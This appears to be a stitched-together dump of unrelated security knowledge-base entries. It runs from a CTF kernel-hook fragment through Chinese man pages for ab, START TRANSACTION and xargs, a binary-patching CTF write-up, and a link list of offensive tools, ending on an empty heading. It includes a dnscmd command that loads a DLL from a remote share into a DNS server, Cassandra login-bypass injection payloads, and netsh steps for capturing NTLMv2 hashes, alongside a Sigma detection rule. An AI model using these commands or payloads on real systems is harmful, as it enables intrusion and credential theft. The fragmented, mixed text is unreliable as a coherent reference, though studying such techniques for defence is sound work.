uVar3 = 0xfffffffffffffff7;
if (puVar1 != (ulong *)0x0) {
puStack48 = (ulong *)puVar1[9];
ppuVar4 = &puStack48;
auVar5 = vfs_write((ulong)puVar1,(ulong)param_2,param_3,ppuVar4,param_5,param_6);
uVar3 = SUB168(auVar5,0);
puVar1[9] = (ulong)puStack48;
if ((int)puStack48 != 0) {
fput(puVar1,param_2,puStack48,ppuVar4,(ulong)param_5,param_6);
}
}
return uVar3;
}
```
It looks like the kernel is hooking `sys_write`, and checking if `researchctf` and `gCTF:KEY:` are contained within the syscall. If so, the content is replaced with `SB:575756`. This means that our flag is in fact `CTF{SB:575756}`.
|
sec-knowleage
|
.\" XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
.\" DO NOT EDIT! Generated from XML source.
.\" XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
.de Sh \" Subsection
.br
.if t .Sp
.ne 5
.PP
\fB\\$1\fR
.PP
..
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Ip \" List item
.br
.ie \\n(.$>=3 .ne \\$3
.el .ne 3
.IP "\\$1" \\$2
..
.TH "AB" 1 "2003-04-29" "Apache HTTP Server" "ab"
.SH NAME
ab \- Apache HTTP 服务器性能测试工具
.SH "总览 SYNOPSIS"
.PP
\fBab\fR [ -\fBA\fR \fIauth-username\fR:\fIpassword\fR ] [ -\fBc\fR \fIconcurrency\fR ] [ -\fBC\fR \fIcookie-name\fR=\fIvalue\fR ] [ -\fBd\fR ] [ -\fBe\fR \fIcsv-file\fR ] [ -\fBg\fR \fIgnuplot-file\fR ] [ -\fBh\fR ] [ -\fBH\fR \fIcustom-header\fR ] [ -\fBi\fR ] [ -\fBk\fR ] [ -\fBn\fR \fIrequests\fR ] [ -\fBp\fR \fIPOST-file\fR ] [ -\fBP\fR \fIproxy-auth-username\fR:\fIpassword\fR ] [ -\fBq\fR ] [ -\fBs\fR ] [ -\fBS\fR ] [ -\fBt\fR \fItimelimit\fR ] [ -\fBT\fR \fIcontent-type\fR ] [ -\fBv\fR \fIverbosity\fR] [ -\fBV\fR ] [ -\fBw\fR ] [ -\fBx\fR \fI<table>-attributes\fR ] [ -\fBX\fR \fIproxy\fR[:\fIport\fR] ] [ -\fBy\fR \fI<tr>-attributes\fR ] [ -\fBz\fR \fI<td>-attributes\fR ] [http://]\fIhostname\fR[:\fIport\fR]/\fIpath\fR
.SH "描述 SUMMARY"
.PP
.B ab
是一个测试你Apache http服务器的工具,你可以通过这个工具
指定一个单位时间内向apache发出的请求数量来看看你的Apache和机
器配合的性能如何
.SH "选项 OPTIONS"
.TP
-A \fIauth-username\fR:\fIpassword\fR
支持基本的验证证书,用户名和密码之间使用"冒号" :
分隔开,ab将以明文方式传送过去.不管服务器是不是需要
,也就是说你的服务器需要支持401认证.
.TP
-c \fIconcurrency\fR
同时向服务器端发送的请求数目,默认状态下是一次
只执行一个http请求.
.TP
-C \fIcookie-name\fR=\fIvalue\fR
Add a Cookie: line to the request\&. The argument is typically in the form of a \fIname\fR=\fIvalue\fR pair\&. This field is repeatable\&.
.TP
-d
Do not display the "percentage served within XX [ms] table"\&. (legacy support)\&.
.TP
-e \fIcsv-file\fR
Write a Comma separated value (CSV) file which contains for each percentage (from 1% to 100%) the time (in milli seconds) it took to serve that percentage of the requests\&. This is usually more useful than the 'gnuplot' file; as the results are already 'binned'\&.
.TP
-g \fIgnuplot-file\fR
Write all measured values out as a 'gnuplot' or TSV (Tab separate values) file\&. This file can easily be imported into packages like Gnuplot, IDL, Mathematica, Igor or even Excell\&. The labels are on the first line of the file\&.
.TP
-h
显示使用说明
.TP
-H \fIcustom-header\fR
向请求包追加附加的标题字串.此参数应该是有效的标题
行(header line)形式,通常使用冒号":"来分隔有效配对
(valid pair)例如 'Accept-Encoding: zip/zop;8 bit';
.TP
-i
使用一个 http 头(HEAD) 来替换 GET方法.不可以掺入POST 方法
.TP
-k
允许http KeepAlive ;也就是说执行多个请求在一个
http 会话当中,默认是不允许的也就是no KeepAlive啦;)
.TP
-n \fIrequests\fR
执行一次测试会话的时候所发出的请求数目,默认是执行一个单一的请求
当然了这样的测试结果也就没什么意义了
.TP
-p \fIPOST-file\fR
测试程序也就是ab,将向Apache server发送带有HTTP POST
的请求.
.TP
-P \fIproxy-auth-username\fR:\fIpassword\fR
当需要通过代理测试一台HTTP 服务器的时候而你的代理
又需要用户名密码验证,这时你可以使用这个选项,同样
用户名与密码之间使用冒号":"分隔开,ab将之以明文的方式
发送出去,当然,前提是你的代理是处于407认证状态的
.TP
-q
When processing more than 150 requests, ab outputs a progress count on stderr every 10% or 100 requests or so\&. The -q flag will suppress these messages\&.
.TP
-s
When compiled in (ab -h will show you) use the SSL protected https rather than the http protocol\&. This feature is experimental and \fIvery\fR rudimentary\&. You probably do not want to use it\&.
.TP
-S
Do not display the median and standard deviation values, nor display the warning/error messages when the average and median are more than one or two times the standard deviation apart\&. And default to the min/avg/max values\&. (legacy support)\&.
.TP
-t \fItimelimit\fR
设置测试的时间的长短,使用这个选项ab将自动设置
测试请求会话数目为50000,然后以你设置的时间为
固定周期.默认状态下是没有时限的,也就是直到完成
你所设置的请求数目为止.
.TP
-T \fIcontent-type\fR
内容类型标头,使用在POST数据的时候.
.TP
-v \fIverbosity\fR
设置冗余级别,4级打印出每个请求标头的详细信息,
3级打印出回应代码(例如,404,200),2级打印出警告
信息和指示消息
.TP
-V
显示版本号并且退出
.TP
-w
打印输出结果到HTML表中. 默认的表是两列n行白底黑框
.TP
-x \fI<table>-attributes\fR
使用字串来描述表的属性,该属性字串应该插入到<table \fI这里\fR >
.TP
-X \fIproxy\fR[:\fIport\fR]
Use a proxy server for the requests\&.
.TP
-y \fI<tr>-attributes\fR
用于生成html表格每行的属性名 (<tr>)
.TP
-z \fI<td>-attributes\fR
用于生成html表格每列的属性名 (<td>)
.SH "BUGS"
.PP
There are various statically declared buffers of fixed length\&. Combined with the lazy parsing of the command line arguments, the response headers from the server and other external inputs, this might bite you\&.
.PP
It does not implement HTTP/1\&.x fully; only accepts some 'expected' forms of responses\&. The rather heavy use of strstr(3) shows up top in profile, which might indicate a performance problem; \fIi\&.e\&.\fR, you would measure the ab performance rather than the server's\&.
.SH "参见 SEE ALSO"
httpd(8)
.SH "[中文版维护人]"
.B trcbilg <email>
.SH "[中文版最新更新]"
.BR 2003.11.22
.SH "《中国linux论坛man手册翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# T1543-003-windows服务-Dnscmd.exe(白名单)
## 来自ATT&CK描述
作为持久性的一部分,攻击者可能会创建或修改Windows服务以重复执行恶意负载。当Windows启动时,它会启动程序或称为服务的应用程序来执行后台系统功能。Windows服务配置信息,包括服务的可执行文件或恢复程序/命令的文件路径,存储在 Windows 注册表中。可以使用sc.exe和Reg等实用程序修改服务配置。
攻击者可以通过使用系统实用程序与服务交互、直接修改注册表或使用自定义工具与Windows API交互来安装新服务或修改现有服务。攻击者可能会将服务配置为在启动时执行,以便在系统上建立持久性。
攻击者还可以通过使用来自相关操作系统或良性软件的服务名称或通过修改现有服务来结合伪装,使检测分析更具挑战性。修改现有服务可能会中断其功能或启用已禁用或不常用的服务。
可以使用管理员权限创建服务,但需要在SYSTEM权限下执行,因此攻击者也可以使用服务将权限从管理员提升到 SYSTEM。攻击者也可以通过服务执行直接启动服务。
## 测试案例
Dnscmd.exe用于管理DNS服务器的命令行界面。此实用程序可用于编写批处理文件脚本以帮助自动化日常DNS管理任务,或在网络上执行简单的无人值守设置和配置新DNS服务器。
路径:
```
- C:\Windows\System32\Dnscmd.exe
- C:\Windows\SysWOW64\Dnscmd.exe
```
添加特制DLL作为DNS服务的插件。 此命令必须由至少是DnsAdmins组成员的用户在DC上运行。更多使用方法请参看[微软官方说明](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd)。
```bash
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
```
用例:远程向dns服务器注入dll
所需权限:DNS管理员
操作系统:Windows服务器
## 检测日志
Windows 安全日志
## 测试复现
无
## 测试留痕
无
## 检测规则/思路
这里参看Sigma官方规则:
```yml
title: DNS ServerLevelPluginDll Install
id: f63b56ee-3f79-4b8a-97fb-5c48007e8573
related:
- id: e61e8a88-59a9-451c-874e-70fcc9740d67
type: derived
status: experimental
description: Detects the installation of a plugin DLL via ServerLevelPluginDll parameter in Registry, which can be used to execute code in context of the DNS server
(restart required)
references:
- https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
date: 2017/05/08
modified: 2021/09/12
author: Florian Roth
tags:
- attack.defense_evasion
- attack.t1073 # an old one
- attack.t1574.002
- attack.t1112
logsource:
category: process_creation
product: windows
detection:
dnsadmin:
Image|endswith: '\dnscmd.exe'
CommandLine|contains|all:
- '/config'
- '/serverlevelplugindll'
condition: dnsadmin
falsepositives:
- unknown
level: high
fields:
- EventID
- CommandLine
- ParentCommandLine
- Image
- User
- TargetObject
```
## 参考推荐
MITRE-ATT&CK-T1543-003
<https://attack.mitre.org/techniques/T1543/003>
Dnscmd.exe
<https://lolbas-project.github.io/lolbas/Binaries/Dnscmd/>
Sigma:process_creation_dns_serverlevelplugindll
<https://github.com/SigmaHQ/sigma/blob/b08b3e2b0d5111c637dbede1381b07cb79f8c2eb/rules/windows/process_creation/process_creation_dns_serverlevelplugindll.yml>
|
sec-knowleage
|
# 链接 列表
## Microsoft
### Powershell
* [Powershell 101](https://hkh4cks.com/blog/2018/01/01/powershell-101/)
* [一个月起步学习Powershell](https://www.youtube.com/playlist?list=PL6D474E721138865A)
* [p3nt4/PowerShdll](https://github.com/p3nt4/PowerShdll) - 使用dll运行Powershell,这样就不需要使用Powershell.exe
* [nullbind/Powershellery](https://github.com/nullbind/Powershellery) - GetSPN 和一些其他的东西。
### Empire
* [Empire 101](http://www.powershellempire.com/?page_id=110) - Empire 官方文档
### Powerview
* [Powerview repository](https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon) - 包含一些文档和如何使用 Powerview
* [PowerView-3.0-tricks.ps1](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) - 来自 HarmJ0y 大牛的一些关于 PowerView 的技巧和窍门。
### Bloodhound
* [Bloodhound node info](https://github.com/BloodHoundAD/BloodHound/wiki/Users) - 关于Bloodhound 节点信息的解释。
* [Lay of the land with bloodhound](http://threat.tevora.com/lay-of-the-land-with-bloodhound/) - 通用的BloodHound的使用手册。
### Mimikatz
* [Lazykats](https://github.com/bhdresh/lazykatz) - 一些绕过杀毒软件的Mimikatz
* [Direct link to Invoke-Mimikatz.ps1](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1)
* [Auto dumping domain credentials](https://blog.netspi.com/auto-dumping-domain-credentials-using-spns-powershell-remoting-and-mimikatz/)
* [eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue) - nternal Monologue Attack: 在不触碰LSASS的情况下收集NTLM哈希。
### Enumeration
* [Invoke-Portscan.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/262a260865d408808ab332f972d410d3b861eff1/Recon/Invoke-Portscan.ps1) - Invoke-Portscan 是一个从Powershell中类似于nmap的能扫描端口的PowerSpolit模块。
* [Walking back local admins](http://www.sixdub.net/?p=591) - 在 AD 中寻找本地管理员。
### Kerberos
* [HarmJ0y - roasting-as-reps](http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/) - 关于Kerberos预认证的文章。
* [HarmJ0y/ASREPRoast](https://github.com/HarmJ0y/ASREPRoast) - 在未开启 Kerberos 预认证的情况下,从 KRB5 AS-RE 响应中寻找可以破解的hash。
### Tunneling
* [SShuttle](http://sshuttle.readthedocs.io/en/stable/) - SShuttle 可以建立起一个像vpn一样的ssh隧道。
### Command and control (C2)
* [SANS Pentest Blog](https://pen-testing.sans.org/blog/2017/12/10/putting-my-zero-cents-in-using-the-free-tier-on-amazon-web-services-ec2) - 使用亚马逊 AWS EC2 进行控制。
* [lukebaggett/dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell) Powershell实现的dnscat2客户端。
* [C2 with dnscat2 and powershell](https://www.blackhillsinfosec.com/powershell-dns-command-control-with-dnscat2-powershell/) - dnscat2可以和Powershell一起使用,通过dns来隐藏远控行为。
* [DNS tunneling](https://pentest.blog/data-exfiltration-tunneling-attacks-against-corporate-network/) - dns隧道是如何工作的。
### Exploit
* [SharpShooter](https://github.com/mdsecactivebreach/SharpShooter) - SharpShooter 可以使用多种形式创建payloads,比如HTA, JS和VBS。
* [DCShadow](https://blog.alsid.eu/dcshadow-explained-4510f52fc19d) - DCShadow, 一种创建流氓域控制器的攻击技术。
*
### Mail
* [Ruler](https://github.com/sensepost/ruler) - Ruler 可以和远程交换服务器通信。
### Breaking out of locked down environments
* [Breaking Out of Citrix and other Restricted Desktop Environments](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
* [Applocker Case study](https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/) - 使用高级技术突破 Applocker。
* [Bypass Applocker](https://github.com/api0cradle/UltimateAppLockerByPassList) - 最著名的Applocker绕过技术列表。
* [Babushka Dolls or How To Bypass Application Whitelisting and Constrained Powershell](https://improsec.com/blog/babushka-dolls-or-how-to-bypass-application-whitelisting-and-constrained-powershell)
### 防御
* [MS - Securing privileged access](https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material) - 在AD中进行安全访问管理的一些参考材料。
* [MS - What is AD Red Forest](https://social.technet.microsoft.com/wiki/contents/articles/37509.what-is-active-directory-red-forest-design.aspx) - Red forest design 是在考虑安全的情况下设计一个可管理的AD环境。
* [Managing Applocker with Powershell](https://4sysops.com/archives/managing-applocker-with-powershell/)
* [SANS - Finding Empire C2 activity](https://www.sans.org/reading-room/whitepapers/detection/disrupting-empire-identifying-powershell-empire-command-control-activity-38315)
### 实验环境搭建
* [The Eye](https://the-eye.eu/public/MSDN/) - 所有系统的官方ISO镜像。
* [Automatedlab/Automatedlab](https://github.com/AutomatedLab/AutomatedLab) - Automatedlab 是一个使用Powershell搭建实验环境的项目。
* [Building a lab with ESXI and Vagrant](https://github.com/chryzsh/DarthSidious/tree/fdd707cf9dbbc2faf3cf3dbbcd712b06fceeee87/building-a-lab-with-esxi-and-vagrant.md) - 本书中关于使用ESXi搭建实验环境的长文。
* [Mini lab](https://github.com/chryzsh/DarthSidious/tree/fdd707cf9dbbc2faf3cf3dbbcd712b06fceeee87/creating.md) - 本书中关于创建小型的实验环境的短文,此环境可用于练习类似于应急响应的事情。
### 其他
* [OSCP Survival Guide archived](http://web.archive.org/web/20171014213457/https://github.com/frizb/OSCP-Survival-Guide) - 一大堆关于枚举和利用漏洞的命令。
|
sec-knowleage
|
# Patches' Punches
Reversing, 50 points
## Description
> That moment when you go for a body slam and you realize you jump too far. Adjust your aim, and you'll crush this challenge!
A binary file was attached.
## Solution
Let's run the file:
```console
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# ./patches
Woah there! you jumped over the flag.
```
Not much there. If we jumped over the flag though, it might be available via `strings`:
```console
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# strings patches
...
Hurray the flag is %s
Woah there! you jumped over the flag.
;*2$"
zyq|Xu3Px~_{Uo}TmfUq2E3piVtJ2nf!}
...
```
The flag seems encrypted, but there is hope - There's a string that hints that it is supposed to print the flag.
Let's open the binary with Ghidra. The decompilation of main shows:
```c
/* WARNING: Removing unreachable block (ram,0x00010546) */
/* WARNING: Removing unreachable block (ram,0x00010580) */
/* WARNING: Removing unreachable block (ram,0x0001054f) */
/* WARNING: Removing unreachable block (ram,0x00010586) */
undefined4 main(undefined1 param_1)
{
int iVar1;
iVar1 = __x86.get_pc_thunk.ax();
printf((char *)(iVar1 + 0x134));
return 0;
}
```
There's not much to work with here. However, the disassembly is much longer than what we are seeing (pasted from `radare2` since it supports text mode):
```
[0x0000051d]> VV @ main (nodes 7 edges 8 zoom 100%) BB-NORM mouse:canvas-y mov-speed:5
.-----------------------------------------------.
| 0x51d |
| (fcn) main 169 |
| main (int argc, char **argv, char **envp); |
| ; var unsigned int local_10h @ ebp-0x10 |
| ; var signed int local_ch @ ebp-0xc |
| ; var int local_8h @ ebp-0x8 |
| ; arg int arg_4h @ esp+0x4 |
| lea ecx, [arg_4h] |
| and esp, 0xfffffff0 |
| push dword [ecx - 4] |
| push ebp |
| mov ebp, esp |
| push ebx |
| push ecx |
| sub esp, 0x10 |
| call sym.__x86.get_pc_thunk.ax;[ga] |
| add eax, 0x1aa4 |
| mov dword [local_10h], 1 |
| cmp dword [local_10h], 0 |
| jne 0x5a3;[gb] |
`-----------------------------------------------'
f t
| |
| '-------------------------.
.---------------------' |
| |
.-------------------------------. .-----------------------------------.
| 0x546 | | 0x5a3 |
| mov dword [local_ch], 0 | | ; CODE XREF from main (0x544) |
| jmp 0x580;[gc] | | sub esp, 0xc |
`-------------------------------' | lea edx, [eax - 0x1970] |
v | ; const char *format |
| | push edx |
| | mov ebx, eax |
| | ; int printf(const char *format) |
| | call sym.imp.printf;[ge] |
| | add esp, 0x10 |
| `-----------------------------------'
| v
| |
| |
| '-------------.
.----------------------------. |
| | | |
| .-----------------------------------. |
| | 0x580 | |
| | ; CODE XREF from main (0x54d) | |
| | cmp dword [local_ch], 0x1e | |
| | jle 0x54f;[gd] | |
| `-----------------------------------' |
| t f |
| | | |
| .---------------------' | |
| | '-------------------------. |
| | | |
|.--------------------------------------------. .-----------------------------------. |
|| 0x54f | | 0x586 | |
|| ; CODE XREF from main (0x584) | | sub esp, 8 | |
|| lea ecx, [eax + 0xc8] | | lea edx, [eax + 0xc8] | |
|| mov edx, dword [local_ch] | | push edx | |
|| add edx, ecx | | lea edx, [eax - 0x1988] | |
|| movzx edx, byte [edx] | | ; const char *format | |
|| mov ecx, edx | | push edx | |
|| mov edx, dword [local_ch] | | mov ebx, eax | |
|| ; [0x48:4]=288 | | ; int printf(const char *format) | |
|| ; 'H' | | call sym.imp.printf;[ge] | |
|| mov edx, dword [eax + edx*4 + 0x48] | | add esp, 0x10 | |
|| sub ecx, edx | | jmp 0x5b7;[gf] | |
|| mov edx, ecx | `-----------------------------------' |
|| mov ebx, edx | v |
|| lea ecx, [eax + 0xc8] | | |
|| mov edx, dword [local_ch] | | |
|| add edx, ecx | | |
|| mov byte [edx], bl | | |
|| add dword [local_ch], 1 | | |
|`--------------------------------------------' | |
| v | |
| | | |
`----' | |
'--------------. |
| .------------------'
| |
.-------------------------------.
| 0x5b7 |
| ; CODE XREF from main (0x5a1) |
| mov eax, 0 |
| lea esp, [local_8h] |
| pop ecx |
| pop ebx |
| pop ebp |
| lea esp, [ecx - 4] |
| ret |
`-------------------------------'
```
It turns out that by default, Ghidra removes unreachable code from the decompilation window. It even warned us with a comment above `main()`.
This behavior can be modified by entering Edit -> Tool Options -> Decompiler -> Analysis and unchecking "Eliminate unreachable code".
Now we get the following code:
```c
undefined4 main(undefined1 param_1)
{
int iVar1;
int local_14;
iVar1 = __x86.get_pc_thunk.ax();
if (true) {
printf((char *)(iVar1 + 0x134));
}
else {
local_14 = 0;
while (local_14 < 0x1f) {
*(char *)(local_14 + iVar1 + 0x1b6c) =
*(char *)(local_14 + iVar1 + 0x1b6c) -
(char)*(undefined4 *)(iVar1 + 0x1aec + local_14 * 4);
local_14 = local_14 + 1;
}
printf((char *)(iVar1 + 0x11c),iVar1 + 0x1b6c);
}
return 0;
}
```
We obviously want to change the "if (true)" to "if (false)".
In assembly, we have:
```assembly
0x00000539 c745f0010000. mov dword [local_10h], 1
0x00000540 837df000 cmp dword [local_10h], 0
```
We'd like to change the immediate value being stored in the local variable to the value being compared right after it.
We can try to do this with Ghidra:
Right click on the line we want to patch -> Select "Patch Instruction" -> Change the "1" to "0". Now we can export with "File -> Export Program -> Binary".
Let's run the new program:
```console
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# ./patches2.bin
Segmentation fault
```
Turns out Ghidra has a [bug](https://github.com/NationalSecurityAgency/ghidra/issues/19) related to patching - it messes up the ELF headers. The bug report offers a workaround but let's try `r2` instead:
```
[0x0000051d]> oo+
[0x0000051d]> s 0x00000539
[0x00000539]> "wa mov dword [var_10h], 0"
Cannot assemble 'mov dword [var_10h], 0' at line 3
```
Really?
How about IDA? Mark the line and then select Edit -> Patch program -> Assemble -> Enter new assembly.
Here, we get a warning window: "`Warning: Invalid operand size(s)`".
We'll just use `dd` to patch the byte:
```console
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# xxd -g 1 -s $((0x539)) -l 7 patches
00000539: c7 45 f0 01 00 00 00 .E.....
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# cp patches patches.old
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# echo '00' | xxd -p -r | dd conv=notrunc of=patches bs=1 seek=$((0x53c))
1+0 records in
1+0 records out
1 byte copied, 0.0014464 s, 0.7 kB/s
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# xxd -g 1 -s $((0x539)) -l 7 patches
00000539: c7 45 f0 00 00 00 00 .E.....
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# radiff2 patches patches.old
0x0000053c 00 => 01 0x0000053c
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# rasm2 -d $(xxd -p -s $((0x539)) -l 7 patches)
mov dword [ebp - 0x10], 0
```
And it turns out we could have used this as well:
```
[0x000003e0]> s 0x539
[0x00000539]> oo+
[0x00000539]> "wa mov dword [var_10h], 0"
Cannot assemble 'mov dword [var_10h], 0' at line 3
[0x00000539]> "wa mov dword [ebp - 0x10], 0"
Written 7 byte(s) (mov dword [ebp - 0x10], 0) = wx c745f000000000
```
Now, when we run the program, we get:
```
root@kali:/media/sf_CTFs/sunshine/Patches_Punches# ./patches
Hurray the flag is sun{To0HotToHanDleTo0C0ldToH0ld!}
```
|
sec-knowleage
|
.\" auto-generated by docbook2man-spec $Revision: 1.1 $
.TH "START TRANSACTION" "7" "2003-11-02" "SQL - Language Statements" "SQL Commands"
.SH NAME
START TRANSACTION \- 开始一个事务块
.SH SYNOPSIS
.sp
.nf
START TRANSACTION [ ISOLATION LEVEL { READ COMMITTED | SERIALIZABLE } ] [ READ WRITE | READ ONLY ]
.sp
.fi
.SH "DESCRIPTION 描述"
.PP
这条命令开始一个新的事务。如果声明了隔离级别或者读写模式, 那么新事务就使用这个特性,如同执行了 SET TRANSACTION [\fBset_transaction\fR(7)] 一样。在其它方面,这条命令的行为和 BEGIN [\fBbegin\fR(7)] 命令一样。
.SH "PARAMETERS 参数"
.PP
参阅 SET TRANSACTION [\fBset_transaction\fR(7)] 获取有关参数含义的信息。
.SH "COMPATIBILITY 兼容性"
.PP
这条命令兼容 SQL 标准;但是又见 SET TRANSACTION [\fBset_transaction\fR(7)] 的兼容性小节。
.SH "SEE ALSO 参见"
BEGIN [\fBbegin\fR(7)], COMMIT [\fBcommit\fR(l)], ROLLBACK [\fBrollback\fR(l)], SET TRANSACTION [\fBset_transaction\fR(l)]
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
xargs
===
给其他命令传递参数的一个过滤器
## 补充说明
**xargs 命令** 是给其他命令传递参数的一个过滤器,也是组合多个命令的一个工具。它擅长将标准输入数据转换成命令行参数,xargs 能够处理管道或者 stdin 并将其转换成特定命令的命令参数。xargs 也可以将单行或多行文本输入转换为其他格式,例如多行变单行,单行变多行。xargs 的默认命令是 echo,空格是默认定界符。这意味着通过管道传递给 xargs 的输入将会包含换行和空白,不过通过 xargs 的处理,换行和空白将被空格取代。xargs 是构建单行命令的重要组件之一。
### xargs 命令用法
xargs 用作替换工具,读取输入数据重新格式化后输出。
定义一个测试文件,内有多行文本数据:
```shell
cat test.txt
a b c d e f g
h i j k l m n
o p q
r s t
u v w x y z
```
多行输入单行输出:
```shell
cat test.txt | xargs
a b c d e f g h i j k l m n o p q r s t u v w x y z
```
#### 使用 -n 进行多行输出
**-n 选项** 多行输出:
```shell
cat test.txt | xargs -n3
a b c
d e f
g h i
j k l
m n o
p q r
s t u
v w x
y z
```
#### 使用 -d 分割输入
**-d 选项** 可以自定义一个定界符:
```shell
echo "nameXnameXnameXname" | xargs -dX
name name name name
```
结合 **-n 选项** 使用:
```shell
echo "nameXnameXnameXname" | xargs -dX -n2
name name
name name
```
#### 读取 stdin
**读取 stdin,将格式化后的参数传递给命令**
假设一个命令为 sk.sh 和一个保存参数的文件 arg.txt:
```shell
#!/bin/bash
#sk.sh 命令内容,打印出所有参数。
echo $*
```
arg.txt 文件内容:
```shell
cat arg.txt
aaa
bbb
ccc
```
#### 结合 -I 选项
xargs 的一个 **选项 -I** ,使用 -I 指定一个替换字符串{},这个字符串在 xargs 扩展时会被替换掉,当 -I 与 xargs 结合使用,每一个参数命令都会被执行一次:
```shell
cat arg.txt | xargs -I {} ./sk.sh -p {} -l
-p aaa -l
-p bbb -l
-p ccc -l
```
复制所有图片文件到 /data/images 目录下:
```shell
ls *.jpg | xargs -n1 -I{} cp {} /data/images
```
#### 结合 find 命令使用
**xargs 结合 find 使用**
用 rm 删除太多的文件时候,可能得到一个错误信息:`/bin/rm Argument list too long`. 用 `xargs` 去避免这个问题:
```shell
find . -type f -name "*.log" -print0 | xargs -0 rm -f
```
xargs -0 将 `\0` 作为定界符。
统计一个源代码目录中所有 php 文件的行数:
```shell
find . -type f -name "*.php" -print0 | xargs -0 wc -l
```
查找所有的 jpg 文件,并且压缩它们:
```shell
find . -type f -name "*.jpg" -print | xargs tar -czvf images.tar.gz
```
#### 打印出执行的命令
结合 `-t` 选项可以打印出 `xargs` 执行的命令
ls | xargs -t -I{} echo {}
会输出当前目录下的文件列表和执行的 echo 命令
#### 使用 -p 选项确认执行的命令
`-p` 选项会在执行每一个命令时弹出确认,当你需要非常准确的确认每一次操作时可以使用 `-p` 参数,比如,查找当前目录下 `.log` 文件,每一次删除都需要确认:
find . -maxdepth 1 -name "*.log" | xargs -p -I{} rm {}
#### 执行多个命令
使用 `-I` 选项可以让 `xargs` 执行多个命令
cat foo.txt
one
two
three
cat foo.txt | xargs -I % sh -c 'echo %; mkdir %'
one
two
three
ls
one two three
#### 其他应用
**xargs 其他应用**
假如你有一个文件包含了很多你希望下载的 URL,你能够使用 xargs 下载所有链接:
```shell
cat url-list.txt | xargs wget -c
```
### 子 Shell(Subshells)
运行一个 shell 脚本时会启动另一个命令解释器.,就好像你的命令是在命令行提示下被解释的一样,类似于批处理文件里的一系列命令。每个 shell 脚本有效地运行在父 shell(parent shell) 的一个子进程里。这个父 shell 是指在一个控制终端或在一个 xterm 窗口中给你命令指示符的进程。
```shell
cmd1 | ( cmd2; cmd3; cmd4 ) | cmd5
```
如果 cmd2 是 cd /,那么就会改变子 Shell 的工作目录,这种改变只是局限于子 shell 内部,cmd5 则完全不知道工作目录发生的变化。子 shell 是嵌在圆括号 () 内部的命令序列,子 Shell 内部定义的变量为局部变量。
子 shell 可用于为一组命令设定临时的环境变量:
```shell
COMMAND1
COMMAND2
COMMAND3
(
IFS=:
PATH=/bin
unset TERMINFO
set -C
shift 5
COMMAND4
COMMAND5
exit 3 # 只是从子 shell 退出。
)
# 父 shell 不受影响,变量值没有更改。
COMMAND6
COMMAND7
```
## reference
- <https://shapeshed.com/unix-xargs/>
<!-- Linux 命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
|
sec-knowleage
|
# Cassandra Injection
> Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system
## Summary
* [Cassandra comment](#cassandra-comment)
* [Cassandra - Login Bypass](#cassandra---login-bypass)
* [Login Bypass 0](#login-bypass-0)
* [Login Bypass 1](#login-bypass-1)
* [References](#references)
## Cassandra comment
```sql
/* Cassandra Comment */
```
## Cassandra - Login Bypass
### Login Bypass 0
```sql
username: admin' ALLOW FILTERING; %00
password: ANY
```
### Login Bypass 1
```sql
username: admin'/*
password: */and pass>'
```
The injection would look like the following SQL query
```sql
SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;
```
## References
|
sec-knowleage
|
# 本地抓包
---
## 开启记录功能
Windows 系统自带的 netsh 中的 trace 功能能够实现不安装任何第三方依赖库,在命令行下进行抓包
```
netsh trace start capture=yes persistent=yes traceFile="c:\\in.etl" overwrite=yes correlation=no protocol=tcp ipv4.address=192.168.1.1 keywords=ut:authentication
```
- capture=yes: 开启抓包功能
- persistent=yes: 系统重启不关闭抓包功能,只能通过Netsh trace stop关闭
- traceFile: 指定保存记录文件的路径
- overwrite=yes: 如果文件存在,那么对其覆盖
- correlation=no: 不收集关联事件
- protocol=tcp: 抓取TPC协议
- ipv4.address=192.168.62.130: 限定只抓和服务器IP相关的数据包
- keywords=ut:authentication: 关键字为ut:authentication
记得 `ipv4.address=` 改成本机 IP
同级目录下会生成系统的配置文件压缩包,后缀名为.cab
## 关闭记录功能
这里需要手动关闭
```
netsh trace stop
```
## 转换格式
关闭功能后,系统会将捕获到的数据包保存为 etl 结尾的文件
etl 文件无法直接打开,需要借助工具 windows message analyzer 将其转换成. cap 格式 (Wireshark 能够识别)
目前 windows message analyzer 已经不在更新,微软官网也取消了下载链接,并推荐使用 https://github.com/microsoft/etl2pcapng 来代替
```
etl2pcapng.exe in.etl out.pcapng
```
---
## Source & Reference
- [渗透技巧——利用netsh抓取连接文件服务器的NTLMv2 Hash](https://xz.aliyun.com/t/1945)
- [监听445端口抓v2数据](https://xz.aliyun.com/t/8543)
|
sec-knowleage
|
## Crypto 400 (crypto, 400p)
### PL
